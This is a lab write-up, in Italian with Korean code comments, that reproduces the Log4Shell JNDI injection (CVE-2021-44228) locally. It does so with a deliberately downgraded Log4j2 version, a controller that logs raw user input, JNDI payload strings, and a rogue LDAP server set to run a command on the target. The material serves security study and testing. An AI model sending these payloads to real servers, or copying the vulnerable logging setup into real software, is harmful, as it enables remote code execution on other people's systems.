
Test di vulnerabilità LDAP di Log4j2 (CVE-2021-44228)
🎈 Testato in ambiente Spring Boot 2.x
pom.xml: Abbassamento della versione di Log4j2 a quella vulnerabile
<properties>
<java.version>17</java.version>
<!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController: Aggiunto metodo del controller che registra direttamente l'input dell'utente
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "예외 발생 X");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
}
return "redirect:/";
}
Esecuzione nel browser

Quando la stringa ${jndi:ldap://127.0.0.1:19090/run} viene effettivamente inviata al server, il server tenta di connettersi a 127.0.0.1:19090.
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
Poiché il server LDAP non è in esecuzione sulla porta locale 19090, viene registrato un errore con l'eccezione Connection refused: connect.
Nel codice LOGGER.info("{}", ldapString); l'eccezione di errore JNDI non è stata lanciata.
https://github.com/veracode-research/rogue-jndi Ho esaminato solo le parti relative a Tomcat in questo codice e le ho configurate come un semplice progetto Spring Boot.
Il motivo per cui ho esaminato solo le parti relative a Tomcat...
Poiché il server di test target è basato su Tomcat integrato di Spring Boot, sembrava che esaminare solo Tomcat fosse sufficiente per verificare il funzionamento della vulnerabilità, quindi ho proceduto in questo modo.
Preparazione del comando
Poiché eseguire solo un semplice calcolatore era troppo semplice, ho provato a combinare comandi cmd.
ldapserver-config.properties
# 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
In pratica, si è scoperto che era davvero possibile eseguire un file eseguibile sul server target di test. Il metodo di verifica è il seguente.
Esecuzione del server ldap-server e del server target-server
# LDAP 서버 실행
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 테스트 타겟 서버 실행
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
Verifica dopo l'invio della stringa ${jndi:ldap://127.0.0.1:19090/o=tomcat} al server target di test

Il file test.txt è stato creato nella radice del progetto target-server ed è stato eseguito tramite Blocco note.
Per generare il payload da inviare al Tomcat target, viene utilizzato Nashorn, l'implementazione JavaScript di Java, ma Nashorn è stato completamente rimosso da Java 15. Quindi, il server ldap ha inviato il comando al Tomcat target, ma il comando non è stato eseguito.
In questo caso, era sufficiente aggiungere una delle due librerie, nashorn-core o rhino-engine, al server Tomcat target.
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
Per facilitare la gestione delle versioni, ho modificato il pom.xml con una relazione padre-figlio. Puoi eseguirlo nella directory in cui si trova il pom padre come segue:
# 전체 테스트
$ mvnw clean test
# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run
Questo software è fornito esclusivamente per scopi educativi e/o per test su sistemi che l'utente ha precedentemente autorizzato all'attacco.
(Ho aggiunto questa nota come è stata aggiunta anche a rogue-jndi. 😓)